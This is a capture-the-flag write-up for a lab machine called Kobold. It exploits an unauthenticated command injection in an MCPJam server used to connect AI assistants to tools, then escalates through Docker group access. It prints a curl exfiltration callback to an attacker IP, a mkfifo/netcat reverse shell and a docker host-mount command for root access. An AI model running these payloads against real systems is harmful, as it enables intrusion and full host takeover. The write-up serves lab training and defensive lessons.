Overview

CategoryInfo
Machine NameKobold
DifficultyEasy
Release Date21 March, 2026
Authorsau123
OSLinux
Pwned Date25 March, 2026

Reconnaissance

Port Scan

22/tcp   — OpenSSH 9.6p1
80/tcp   — nginx (redirects to HTTPS)
443/tcp  — nginx + TLS (kobold.htb)
3552/tcp — Golang HTTP server (public)

Subdomain Enumeration

Virtual host enumeration reveals two subdomains:

SubdomainService
mcp.kobold.htbMCPJam (MCP server)
bin.kobold.htbPrivateBin (reverse proxied to Docker container on 127.0.0.1:8080)

What is MCPJam?

MCPJam is an open-source Model Context Protocol (MCP) server. MCP is a protocol that allows AI assistants to connect to external tools and data sources. MCPJam acts as a bridge — it accepts a configuration from a client and spawns a local process that speaks the MCP JSON-RPC protocol over stdio.

The /api/mcp/connect endpoint accepts:

{
  "serverConfig": {
    "command": "...",
    "args": [...],
    "env": {}
  },
  "serverId": "..."
}

It then spawns command with args as a subprocess. CVE-2026-23744 is an unauthenticated server-side command injection — there is no authentication or input validation on this endpoint, allowing any caller to execute arbitrary OS commands on the server.


What is PrivateBin?

PrivateBin is a minimalist, open-source pastebin where the server has zero knowledge of stored data. Pastes are encrypted and decrypted entirely in the browser using 256-bit AES, with the decryption key stored only in the URL fragment (#key). This means that even with full filesystem access to the server, paste content cannot be decrypted without the original URL.

In this box, PrivateBin runs inside a Docker container (privatebin/nginx-fpm-alpine:2.0.2) with its data directory bind-mounted from the host at /privatebin-data.


Initial Access — CVE-2026-23744 (RCE via MCPJam)

Confirming Blind RCE

The /api/mcp/connect endpoint spawns the supplied command directly. However, the server consumes the subprocess’s stdout for MCP JSON-RPC communication, making this blind RCE — output is not returned in the HTTP response. CVE-2026-23744

To confirm execution, exfiltrate output out-of-band via an HTTP callback:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{"serverConfig":{"command":"sh","args":["-c","id | curl -s http://<YOUR-IP>:4444/$(id | base64 -w0)"],"env":{}},"serverId":"mytest"}'

Listener receives:

GET /dWlkPTEwMDEoYmVuKSBnaWQ9MTAwMShiZW4pIGdyb3Vwcz0xMDAxKGJlbiksMzcob3BlcmF0b3IpCg==

Decoding: uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

Reverse Shell

Direct bash -i >& /dev/tcp/... redirection fails inside sh. The reliable approach is a named pipe:

curl -k https://mcp.kobold.htb/api/mcp/connect \
  --header "Content-Type: application/json" \
  --data '{"serverConfig":{"command":"sh","args":["-c","rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <YOUR-IP> 4444 >/tmp/f"],"env":{}},"serverId":"mytest"}'

Shell received as ben. User flag retrieved from /home/ben/user.txt.


Enumeration as ben

Groups

uid=1001(ben) gid=1001(ben) groups=1001(ben),37(operator)

The operator group is non-standard and worth investigating.

Internal Services

127.0.0.1:8080    PrivateBin (Docker container)
127.0.0.1:6274    Node.js (MCPJam backend)
:::3552           Golang HTTP app (public)

Network Interfaces

A Docker bridge (docker0: 172.17.0.1) is active with a veth pair, confirming a running container reachable at 172.17.0.2.

PrivateBin Data Directory

/privatebin-data is accessible to the operator group:

drwxrwx--- operator  /privatebin-data/certs/   ← TLS cert + private key for *.kobold.htb
drwxr-x--- gid=82    /privatebin-data/cfg/     ← Config (www-data only)
drwxrwxrwx operator  /privatebin-data/data/    ← Paste storage (empty)

The TLS certificate and private key for *.kobold.htb are readable. However, there are no stored pastes to decrypt — and even if there were, PrivateBin’s zero-knowledge design means the ciphertext is useless without the URL fragment key.

The config file (readable via docker exec) contained commented-out example credentials (Z3r0P4ss) but these did not lead anywhere productive.

Docker Access via Operator Group

newgrp docker
docker ps
CONTAINER ID   IMAGE                               PORTS
4c49dd7bb727   privatebin/nginx-fpm-alpine:2.0.2   127.0.0.1:8080->8080/tcp

The operator group has access to the Docker socket — a classic privilege escalation path equivalent to passwordless sudo.


Privilege Escalation — Docker Host Filesystem Mount

With Docker socket access, the host filesystem can be mounted inside a new container. The default entrypoint of the PrivateBin image drops privileges to nobody (uid=65534), so it must be overridden:

docker run -it --rm \
  -v /:/mnt \
  --entrypoint sh \
  --user root \
  privatebin/nginx-fpm-alpine:2.0.2

Inside the container:

/var/www # id
uid=0(root) gid=0(root) groups=0(root),...

The entire host filesystem is now accessible under /mnt:

cat /mnt/root/root.txt

Root flag retrieved.


Why --entrypoint sh Was Necessary

The default entrypoint (/etc/init.d/rc.local) starts PHP-FPM and nginx, then drops to nobody. Without overriding it, the container still runs as an unprivileged user even though the image is available. The --user root flag alone is insufficient if the entrypoint later switches users — overriding the entrypoint entirely bypasses this.


Attack Chain Summary

Subdomain enum → mcp.kobold.htb (MCPJam)
CVE-2026-23744 — Unauthenticated RCE via /api/mcp/connect
Blind RCE as ben → out-of-band exfil → mkfifo reverse shell
User flag (/home/ben/user.txt)
ben is in operator group → Docker socket access (newgrp docker)
docker run --user root -v /:/mnt → host filesystem as root
Root flag (/root/root.txt)

Key Takeaways

  • MCP servers expose powerful process-spawning APIs — any internet-facing MCP endpoint must enforce strong authentication and command whitelisting. The MCP protocol was designed for local trusted use, not public exposure.
  • Blind RCE requires out-of-band exfiltration — stdout is consumed by the MCP protocol layer; HTTP callbacks are the reliable exfil path.
  • Docker group = root — membership in the Docker group is functionally equivalent to passwordless sudo on the host.
  • PrivateBin’s zero-knowledge design held — even with full filesystem and container access, encrypted pastes could not be read without the URL fragment decryption key.